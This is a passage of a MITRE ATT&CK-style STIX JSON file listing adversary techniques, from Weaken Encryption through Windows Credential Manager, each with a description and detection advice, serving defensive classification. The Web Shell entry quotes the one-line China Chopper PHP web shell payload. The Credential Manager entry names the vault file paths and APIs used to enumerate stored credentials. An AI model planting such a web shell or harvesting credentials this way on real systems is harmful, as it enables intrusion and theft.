            "description": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)",
            "name": "Weaken Encryption",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1600",
                    "url": "https://attack.mitre.org/techniques/T1600"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-10-21T22:37:49.258Z",
            "created": "2020-10-19T18:47:08.759Z",
            "x_mitre_data_sources": [
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Network"
            ],
            "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.",
            "x_mitre_defense_bypassed": [
                "Encryption"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1606.001",
                    "url": "https://attack.mitre.org/techniques/T1606/001"
                },
                {
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
                    "source_name": "Pass The Cookie"
                },
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Web Cookies",
            "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)",
            "id": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-01-11T20:31:36.404Z",
            "created": "2020-12-17T02:14:34.178Z",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Web Credential: Web Credential Creation",
                "Web Credential: Web Credential Usage"
            ],
            "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "SaaS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1056.003",
                    "url": "https://attack.mitre.org/techniques/T1056/003"
                },
                {
                    "external_id": "CAPEC-569",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/569.html"
                },
                {
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "source_name": "Volexity Virtual Private Keylogging"
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Web Portal Capture",
            "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)",
            "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-03-24T21:16:16.580Z",
            "created": "2020-02-11T18:59:50.058Z",
            "x_mitre_system_requirements": [
                "An externally facing login portal is configured."
            ],
            "x_mitre_data_sources": [
                "File: File Modification"
            ],
            "x_mitre_detection": "File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "created": "2020-03-15T16:13:46.151Z",
            "modified": "2020-03-26T20:15:35.821Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1071.001",
                    "url": "https://attack.mitre.org/techniques/T1071/001"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Web Protocols",
            "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
            "id": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. ",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1102",
                    "url": "https://attack.mitre.org/techniques/T1102"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
            "name": "Web Service",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-26T23:26:10.297Z",
            "created": "2017-05-31T21:31:13.915Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1",
            "x_mitre_contributors": [
                "Anastasios Pingios"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "created": "2020-10-01T00:50:29.936Z",
            "modified": "2021-04-15T02:53:19.246Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54",
            "description": "Adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.",
            "name": "Web Services",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1583.006",
                    "url": "https://attack.mitre.org/techniques/T1583/006"
                }
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567)."
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1584.006",
                    "url": "https://attack.mitre.org/techniques/T1584/006"
                },
                {
                    "source_name": "Recorded Future Turla Infra 2020",
                    "url": "https://www.recordedfuture.com/turla-apt-infrastructure/",
                    "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Web Services",
            "description": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.",
            "id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:04:40.184Z",
            "created": "2020-10-01T01:01:00.176Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1506",
                    "url": "https://attack.mitre.org/techniques/T1506"
                },
                {
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
                    "source_name": "Pass The Cookie"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
                }
            ],
            "name": "Web Session Cookie",
            "id": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-12-17T16:57:07.529Z",
            "created": "2019-10-08T20:08:56.205Z"
        },
        {
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                {
                    "source_name": "mitre-attack",
                    "external_id": "T1550.004",
                    "url": "https://attack.mitre.org/techniques/T1550/004"
                },
                {
                    "external_id": "CAPEC-60",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/60.html"
                },
                {
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
                    "source_name": "Pass The Cookie"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Web Session Cookie",
            "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)",
            "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2021-04-14T13:21:37.474Z",
            "created": "2020-01-30T17:48:49.395Z",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": true,
            "x_mitre_defense_bypassed": [
                "System Access Controls"
            ],
            "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
            "x_mitre_data_sources": [
                "Web Credential: Web Credential Usage",
                "Application Log: Application Log Content"
            ],
            "x_mitre_contributors": [
                "Johann Rehberger"
            ],
            "x_mitre_platforms": [
                "Office 365",
                "SaaS",
                "Google Workspace"
            ]
        },
        {
            "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
            "name": "Web Shell",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1100",
                    "url": "https://attack.mitre.org/techniques/T1100"
                },
                {
                    "external_id": "CAPEC-650",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/650.html"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "source_name": "Lee 2013"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "source_name": "US-CERT Alert TA15-314A Web Shells"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-19T20:22:02.163Z",
            "created": "2017-05-31T21:31:13.061Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1505.003",
                    "url": "https://attack.mitre.org/techniques/T1505/003"
                },
                {
                    "external_id": "CAPEC-650",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/650.html"
                },
                {
                    "source_name": "Lee 2013",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "source_name": "US-CERT Alert TA15-314A Web Shells"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Web Shell",
            "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ",
            "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-09-16T19:34:19.752Z",
            "created": "2019-12-13T16:46:18.927Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_system_requirements": [
                "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."
            ],
            "x_mitre_permissions_required": [
                "SYSTEM",
                "User"
            ],
            "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<code>&lt;?php @eval($_POST['password']);&gt;</code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow",
                "Application Log: Application Log Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1077",
                    "url": "https://attack.mitre.org/techniques/T1077"
                },
                {
                    "external_id": "CAPEC-561",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/561.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
                    "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.",
                    "source_name": "Wikipedia SMB"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "source_name": "TechNet RPC"
                },
                {
                    "url": "http://support.microsoft.com/kb/314984",
                    "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
                    "source_name": "Microsoft Admin Shares"
                },
                {
                    "url": "https://technet.microsoft.com/bb490717.aspx",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "source_name": "Technet Net Use"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts",
                    "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
                    "source_name": "Lateral Movement Payne"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem",
                    "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
                    "source_name": "Windows Event Forwarding Payne"
                },
                {
                    "source_name": "Medium Detecting Lateral Movement",
                    "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."
                }
            ],
            "name": "Windows Admin Shares",
            "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-23T19:54:12.651Z",
            "created": "2017-05-31T21:31:00.200Z"
        },
        {
            "created": "2020-03-09T14:12:31.196Z",
            "modified": "2021-04-14T15:36:02.195Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. \n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",
            "name": "Windows Command Shell",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059.003",
                    "url": "https://attack.mitre.org/techniques/T1059/003"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
            "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted <code>.vcrd</code> files, located under <code>%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\</code>. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as <code>CredEnumerateA</code> to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",
            "name": "Windows Credential Manager",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1555.004",
                    "url": "https://attack.mitre.org/techniques/T1555/004"
                },
                {
                    "source_name": "Microsoft Credential Manager store",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store",
                    "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020."
                },
                {
                    "source_name": "Microsoft Credential Locker",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN",
                    "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020."
                },
                {
                    "source_name": "passcape Windows Vault",
                    "url": "https://www.passcape.com/windows_password_recovery_vault_explorer",
                    "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020."
                },
                {
